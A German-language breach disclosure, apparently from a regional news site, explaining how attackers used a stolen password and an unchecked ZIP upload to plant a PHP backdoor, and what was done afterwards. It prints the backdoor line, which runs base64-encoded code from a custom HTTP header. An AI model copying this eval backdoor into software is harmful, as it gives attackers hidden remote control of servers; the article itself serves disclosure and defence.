Unter Administratoren gibt es seit einiger Zeit eine Gewissheit. »Es ist keine Frage, ob man gehackt wird, sondern nur eine Frage, wann.« Bei uns war es am 5. August 2026 so weit. Fünf Tage hatten sich Unbekannte Zugriff auf unseren Server verschafft und eine kleine Zeile Code hinterlassen. Getarnt in einer harmlosen Datei...

Alles begann mit einem gestohlenen Passwort. Woher es stammte, ist bis heute nicht geklärt. Damit verschafften sich die Angreifer Zutritt zum internen Redaktionsbereich, dorthin, wo sonst Mitarbeitende Artikel schreiben und Bilder hochladen. Von innen luden sie, verpackt in einem ZIP-Archiv, eine PHP-Datei hoch. Normalerweise kann man keine ausführbaren Dateien hochladen. Beim ZIP-Upload wurde diese Prüfung aber vergessen.

Die Zeile Code, die alles öffnete

Was diese Datei so gefährlich machte, war eine einzige, unscheinbare Codezeile:

if (isset($_SERVER['HTTP_RSS']) && substr($_SERVER['HTTP_RSS'], 0, 23) == '[GEHEIMER SCHLÜSSEL]') eval(base64_decode(substr($_SERVER['HTTP_RSS'], 23)));

Übersetzt: Die Datei achtet auf ein geheimes Codewort, versteckt in einem Link. Kommt das richtige Wort, führt die Datei aus, was immer der Angreifer ihr befiehlt, ohne Rückfrage, ohne Protokoll, ohne Spur im normalen Betrieb. Eine digitale Fernbedienung, die niemand außer dem Angreifer selbst kannte.

Die Spur führt ins Dunkel des Internets

Bei der Rekonstruktion der Zugriffe stießen wir immer wieder auf dieselben Muster: Adressen aus dem Tor-Netzwerk, jenem Teil des Internets, der eigens dafür gebaut wurde, die wahre Herkunft einer Verbindung zu verschleiern. Wer sich über Tor einloggt, kann von überall auf der Welt sitzen, ohne dass sich das zurückverfolgen lässt. Genau das machten sich die Angreifer zunutze, mehrfach, über mehrere Tage verteilt, auf verschiedenen Portalen desselben Netzwerks.

Was sie eigentlich wollten, bleibt bis heute unklar. Ging es um Daten? Um eine Plattform für weitere Angriffe? Oder testeten sie lediglich aus, wie weit sie kommen? Auffällig überdimensionierte Datenmengen, die bei einzelnen Zugriffen abgerufen wurden, deuten darauf hin, dass zumindest zeitweise Informationen abgezogen wurden, welche genau, ist Teil der laufenden Untersuchung.

Was seitdem passiert ist

Die Webseite blieb während der gesamten Aufarbeitung online erreichbar, die betroffene Datei wurde jedoch identifiziert und umgehend gelöscht. Parallel dazu lief ein Tiefenscan durch sämtliche Bereiche des Systems, mit dem Ziel, auch versteckten, bislang unentdeckten Code aufzuspüren, der nach demselben Muster geschrieben sein könnte. Die eigentliche Schwachstelle, über die die Angreifer ihre Dateien einschleusen konnten, wurde geschlossen: Hochgeladene Dateien werden nun besser auf ihren tatsächlichen Inhalt geprüft, auch dann, wenn sie in einem Archiv versteckt sind.

Härtere Regeln für Kleinanzeigen und Kommentare

Besonderes Augenmerk gilt nun den öffentlich zugänglichen Bereichen der Seite, den Kleinanzeigen und der Kommentarfunktion. Hier werden künftig zwei Maßnahmen greifen: eine Zwei-Faktor-Authentifizierung, bei der ein gestohlenes Passwort allein nicht mehr ausreicht, sondern zusätzlich ein zweiter, meist nur wenige Minuten gültiger Code nötig ist, sowie eine verpflichtende Änderung der Passwörter samt strengerer Vorgaben an deren Komplexität. Wer sich künftig zum Aufgeben einer Anzeige oder zum Kommentieren einloggt, wird leider beide Neuerungen zu spüren bekommen, unbequemer im Alltag, aber ein wirksamer Riegel gegen genau die Art von Angriff, die jetzt aufgedeckt wurde.

Offene Fragen bleiben

Ob tatsächlich persönliche Daten von Leserinnen und Lesern betroffen sind, ist nach aktuellem Stand nicht abschließend geklärt.

Falls Sie das nnz-Passwort auch an anderen Stellen verwenden, raten wir dringend dazu, diese Passwörter zu ändern.

Grundsätzlich ist es leider keine gute Idee, dasselbe Passwort für verschiedene Accounts zu nutzen.

Bei Fragen schreiben Sie uns oder rufen Sie uns an.

Volker Georg Franke
technischer Support